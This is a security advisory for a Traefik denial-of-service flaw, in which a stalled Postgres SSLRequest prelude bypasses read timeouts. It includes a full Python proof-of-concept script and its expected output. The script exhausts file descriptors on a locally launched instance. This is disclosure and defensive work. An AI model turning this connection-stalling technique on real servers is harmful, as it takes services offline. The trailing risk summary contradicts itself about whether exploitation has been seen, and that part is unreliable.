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GHSA-89p3-4642-cr2w
No affected components available
Impact
There is a potential vulnerability in Traefik managing STARTTLS requests.
An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.8
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Summary
A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.
This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).
Details
Traefik applies per-connection deadlines based on entryPoints.<name>.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/server_entrypoint_tcp.go, which sets SetReadDeadline on accepted connections).
However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:
- detect Postgres SSLRequest (8-byte signature),
- call
conn.SetDeadline(time.Time{})(clears all deadlines), - then enter the Postgres STARTTLS handler (
servePostgres).
The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:
- connect to any internet-exposed TCP entrypoint,
- send the Postgres SSLRequest (SSL negotiation request),
- receive Traefik’s single-byte response (
S), - stop sending any further bytes.
Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.
Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.
Tested versions:
v3.6.7masterat commita4a91344edcdd6276c1b766ca19ee3f0e346480f
PoC
Prerequisites:
- Linux host
- Python 3
- A prebuilt Traefik
v3.6.7binary. The script below expects the path in the script’sTRAEFIK_BINconstant (edit if needed).
Execute the script below:
<details> <summary>Script (Click to expand)</summary>#!/usr/bin/env python3
from __future__ import annotations
import os
import socket
import subprocess
import tempfile
import time
from typing import Final
# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"
HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080
STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300
POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])
def fd_count(pid: int) -> int:
return len(os.listdir(f"/proc/{pid}/fd"))
def open_idle_conns(n: int) -> list[socket.socket]:
conns: list[socket.socket] = []
for _ in range(n):
conns.append(socket.create_connection((HOST, PORT)))
return conns
def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
conns: list[socket.socket] = []
for _ in range(n):
s = socket.create_connection((HOST, PORT))
s.settimeout(1.0)
s.sendall(POSTGRES_SSLREQUEST)
try:
_ = s.recv(1) # typically b"S"
except socket.timeout:
pass
conns.append(s)
return conns
def close_all(conns: list[socket.socket]) -> None:
for s in conns:
try:
s.close()
except OSError:
pass
def main() -> None:
with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
dyn = os.path.join(td, "dynamic.yml")
with open(dyn, "w", encoding="utf-8") as f:
f.write(
f"""\
http:
routers:
r:
entryPoints: [web]
rule: "PathPrefix(`/`)"
service: s
services:
s:
loadBalancer:
servers:
- url: "http://{HOST}:9"
"""
)
proc = subprocess.Popen(
[
TRAEFIK_BIN,
"--log.level=ERROR",
f"--entryPoints.web.address=:{PORT}",
f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
f"--providers.file.filename={dyn}",
"--providers.file.watch=false",
],
stdout=subprocess.DEVNULL,
stderr=subprocess.STDOUT,
)
try:
time.sleep(STARTUP_SLEEP_SECS)
pid = proc.pid
if pid is None:
raise RuntimeError("Traefik PID is None")
ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
print(ver)
print(f"Traefik={TRAEFIK_BIN}")
print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")
base = fd_count(pid)
print(f"traefik_pid={pid} fd_base={base}")
idle = open_idle_conns(N_CONNS)
fd_after_open_idle = fd_count(pid)
print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
time.sleep(SLEEP_SECS)
fd_after_sleep_idle = fd_count(pid)
print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
close_all(idle)
pg = open_postgres_sslrequest_conns(N_CONNS)
fd_after_open_pg = fd_count(pid)
print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
time.sleep(SLEEP_SECS)
fd_after_sleep_pg = fd_count(pid)
print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
close_all(pg)
if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):
print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
else:
print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
finally:
proc.terminate()
try:
proc.wait(timeout=3.0)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait(timeout=3.0)
if __name__ == "__main__":
main()
</details>
<details>
<summary>Expected output (Click to expand)</summary>
Version: 3.6.7
Codename: ramequin
Go version: go1.24.11
Built: 2026-01-14T14:04:03Z
OS/Arch: linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.
</details>
Impact
Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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